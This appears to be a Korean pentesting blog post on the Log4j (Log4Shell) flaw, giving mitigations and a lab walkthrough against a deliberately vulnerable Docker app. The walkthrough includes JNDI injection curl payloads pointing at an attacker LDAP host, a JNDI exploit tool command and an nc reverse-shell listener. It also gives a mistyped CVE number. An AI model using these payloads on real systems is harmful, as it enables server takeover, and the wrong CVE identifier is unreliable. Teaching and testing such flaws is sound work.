본문 바로가기

모의해킹

역사 상 최악의 취약점 발견! 로그 포 제이(Log4j) 취약점

이번 포스팅 글은 최근 이슈가 존재하는 로그 포 제이(Log4j) 취약점에 대한 내용을 작성한다.

 

#Log4j 란?

log4j는 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티이다.

 

이번 로깅 프레임워크인 Log4j에서 발견된 원격 코드 실행 취약점(CVE-2021-4422)는 Log4j를 사용하는 모든 애플리케이션에서 임의의 원격 코드를 실행할 수 있는 취약점으로 실제 서버나 PC 관리자 권한을 탈취할 수 있다.

 

#CVE-2021-4422 취약점 대응방안해당 취약점의 대응방안은 보안 조치가 완료된 최신버전으로 업데이트가 필요하나 업데이트 즉시 조치가 어려운 경우 아래와 같은 차선대응법으로 조치를 진행해야 한다.

 

1. Log4j 2.15 최신버전 업데이트

   - https://logging.apache.org/log4j/2.x/download.html

 

Log4j – Download Apache Log4j 2

<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apa

logging.apache.org

2. Log4j 2.0-beta 9 ~ 2.10.0 version

  - JudLookup 클래스 경로(zip -q -d log4j-core-*.jarorg/apache/logging/log4j/core/lookup/JndiLookup.class) 제거

 

3. Log4j 2.10 - 2.14.1 version

  - Log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경 변수 값 true 로 설정

 

4. 취약점 동작원리

동작방식으로는 log4에서 내부 LDAP 서버 등에 접속 후 변환하는 기능을 제공하는 부분에 있는데 이 부분에서 취약점이 발생한 것이다.

 

예시로 아래와 같은 로깅을 서버에서 남긴다고 가정한다면 악의적인 사용자는 Request 패킷을 전송함으로써 해커의 LDAP 서버에서 악성파일을 다운로드 받는 등 추가 공격을 통해 서버 탈취가 가능하다.

 * logger.info("Request User Agent:{}", request.getHeader("user-agent"));

 

#CVE-2021-4422 Test

환경구성

[victim]
Docker
log4shell-vulnerable-app

[attacker]
Kali
JNDI Exploit

 

[Victim]

1. Log4j 취약 서비스 셋팅

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

 

[Attacker]

1. Log4j Attack Test

curl {TARGET} -H 'X-Api-Version: ${jndi:ldap://attacker_domain}'

 

2. JNDI Exploit Exec

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

 

3. Reverse Shell

nc -lvvp 8888

 

4. Victim Server Attack

curl http://victim:8080 -H 'X-Api-Version: ${jndi:ldap://attacker:1389/cmd}'

 

5. 원격명령어 실행 확인

 

#참고자료

- https://github.com/welk1n/JNDI-Injection-Exploit

- https://github.com/users/christophetd/packages/container/package/log4shell-vulnerable-app

 

GitHub: Where the world builds software

GitHub is where over 73 million developers shape the future of software, together. Contribute to the open source community, manage your Git repositories, review code like a pro, track bugs and feat...

github.com

 

'모의해킹' 카테고리의 다른 글

HTTP Request Smuggling 취약점  (0) 2022.01.10
[Chrome] Password Decrypt  (0) 2022.01.07
Ngrok 플랫폼 사용 후기  (0) 2021.12.22